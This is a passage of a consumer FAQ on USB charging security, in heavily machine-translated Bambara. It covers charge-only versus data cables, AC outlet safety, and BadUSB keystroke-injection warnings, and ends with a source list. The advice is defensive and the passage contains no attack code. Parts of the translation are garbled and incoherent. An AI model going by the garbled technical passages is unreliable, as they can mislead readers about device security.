Ikomi fɛn dilannikɛlaw man teli ka taamasiyɛnw sɛbɛn kabali kan minnu bɛ charge-only juruw ni data juruw danfara, kɔrɔbɔli lakananen nɔgɔman ye ka kabali don ɔridinatɛri ni minɛn kɔrɔ dɔ cɛ min tɛ kɔrɔlen ye (walima ka baara kɛ ni $10 inline USB cable pinout continuity tester Board ye i n’a fɔ Treedix USB kabɔri sɛgɛsɛgɛlikɛlan, min bɛ LED kelen-kelenw yeelen bɔ kɔnɔna fili bɛɛ la k’a sɔrɔ a ma mikrokontrɔla si daminɛ). Tɛmɛsira sɛgɛsɛgɛlikɛlan dɔ kan, tiɲɛ don Charge-Only kabɔri bɛna yeelen bɔ dɔrɔn VBUS (VBUS) ye ani GND ye (LED 2), k’a sɔrɔ kabali min bɛ se ka kunnafoniw di, o fana bɛna yeelen bɔ D+ (D+) ye ani D- (ani CC1/TX/RX ye USB-C kan). Ni o tɛ, i ka to ka a yɛrɛ di farikolo USB Data Blocker adapɛri a sirilen don kudayi i ka taama chargeur juru kuncɛ la i bɛ se ka muso port kɔnɔna lajɛ farikolo la yɔrɔ min na k’a sɛgɛsɛgɛ n’i yɛrɛ ɲɛ ye ko cɛmancɛ data pinw tɛ yen.

Yala a ka ɲi ka n yɛrɛ ka chargement kabɔri don AC kuran bɔyɔrɔ la (2-prong / 3-prong wall socket) awiyɔnbonda walima lotɛli la sanni ka USB port don a kɔnɔ wa?¶

Ɔwɔ, kɛmɛsarada la, a farati tɛ. 110V / 230V AC kuran kogo sosɛti jɔnjɔn (i bɛ i yɛrɛ ka Apple, Samsung walima Anker kuran biriki don yɔrɔ min na) bɛ kuran kuran caman ta dɔrɔn, wa a bɛ ni kunnafonidilan zeru ye minnu bɛ se ka kumaɲɔgɔnya kɛ ni i ka telefɔni USB kunnafonisɛbɛn ye. Ni aw bɛ baara kɛ ni a ye i yɛrɛ ka AC kogo adaptateur biriki dannayalen ani i yɛrɛ ka USB kabɔri dannayalen, awiyɔnbonda walima lotɛli AC kuran bɔyɔrɔ tɛ se ka Juice Jacking walima BadUSB binkanniw kɛ.

Mun na Windows ye "Setting up a device: HID Keyboard Device" bɔ kɛnɛ kan ni n ye USB flash drive walima vape/e-cigarette chargeur don?¶

Windows ye tositi kunnafoni kalanni jira "Minɛn dɔ sigili: HID Keyboard Device". ni i ye fɛn dɔ don a kɔnɔ min ye tɛ klaviyeti (i n'a fɔ USB flash drive, chargeur kabɔri, tabali ventilateur sɔngɔ gɛlɛn, foto frame numérique, walima vape chargeur) ye #1 ye min tɛ fili sigarɛtimin marifa ye a BadUSB / HID Keystroke Pikiri binkanni. Flash drive walima chargeur kabɔri sariyalen si mago tɛ abada ka i tɔgɔ sɛbɛn Windows la i n’a fɔ klaviyeti. Aw bɛ minɛn bɔ o yɔrɔnin bɛɛ, ka Wi-Fi tigɛ, ka PowerShell baara Boli MRU la ani PSReadLine ye audit commands in Fase 2 walasa k’a dɔn o klaviyeti nkalonma ye cikan min sɛbɛn.

--- .

Sosow sɛgɛsɛgɛra¶

• Fɛdɛrali ka sɛgɛsɛgɛli biro (FBI) & Fɛdɛrali ka kunnafoniko jɛkulu (FCC) (Amerika): Foroba baarakɛlaw ka laseliw foroba USB Charging Station faratiw kan ("Juice Jacking") ani fɛnɲɛnamafagalan juguw doncogo.
• Jamana lakana baarada (NSA) & Sibɛri lakanani ni fɛnsɔrɔsiraw lakanani baarada (CISA) (Amerika): Mobili minɛnw kɛcogo ɲumanw: Ka taama lafiya la ni telefɔni selilɛriw, ɔridinatɛriw ani USB periferikɛliw ye.
• Graz Iniwɛrisite ka Teknoloji (TU Graz InfoSec ɲinini kulu): ChoiceJacking: Ka mobili minɛnw tiɲɛ chargeur juguw fɛ USB HID Injection fɛ (USENIX Security Symposium).
• Apple Platform Lakanali Gafe: USB dantigɛlen cogoya, Accessoires sɔrɔli ni a datugulen don, ani macOS Apple Silicon USB/Thunderbolt Accessoires Authorization Architecture.
• USB waleyalikɛlaw ka forobajɛkulu (USB-IF): USB Type-C Lafasali, Seko ni Donko (USB PD), ani Hadamadenw ka ɲɔgɔndan minɛn (HID Kalasi 0x03) Kɛrɛnkɛrɛnnenya la.

--- .

Gafe minnu bɛ tali kɛ o ko la¶

• Foroba Wi-Fi, Evil Twin hotspots, ani ji jacking lafasali
• Session cookie hijacking, infostealer malware, ani token bɔli
• Stalkerware, spyware ani keylogger detection telefɔniw kan
• Malware, ransomware ani spyware banakisɛw
• QR code phishing (quishing) ani redirects juguw
• Kɔrɔtɔko nimɔrɔw ka kɛɲɛ ni jamana ye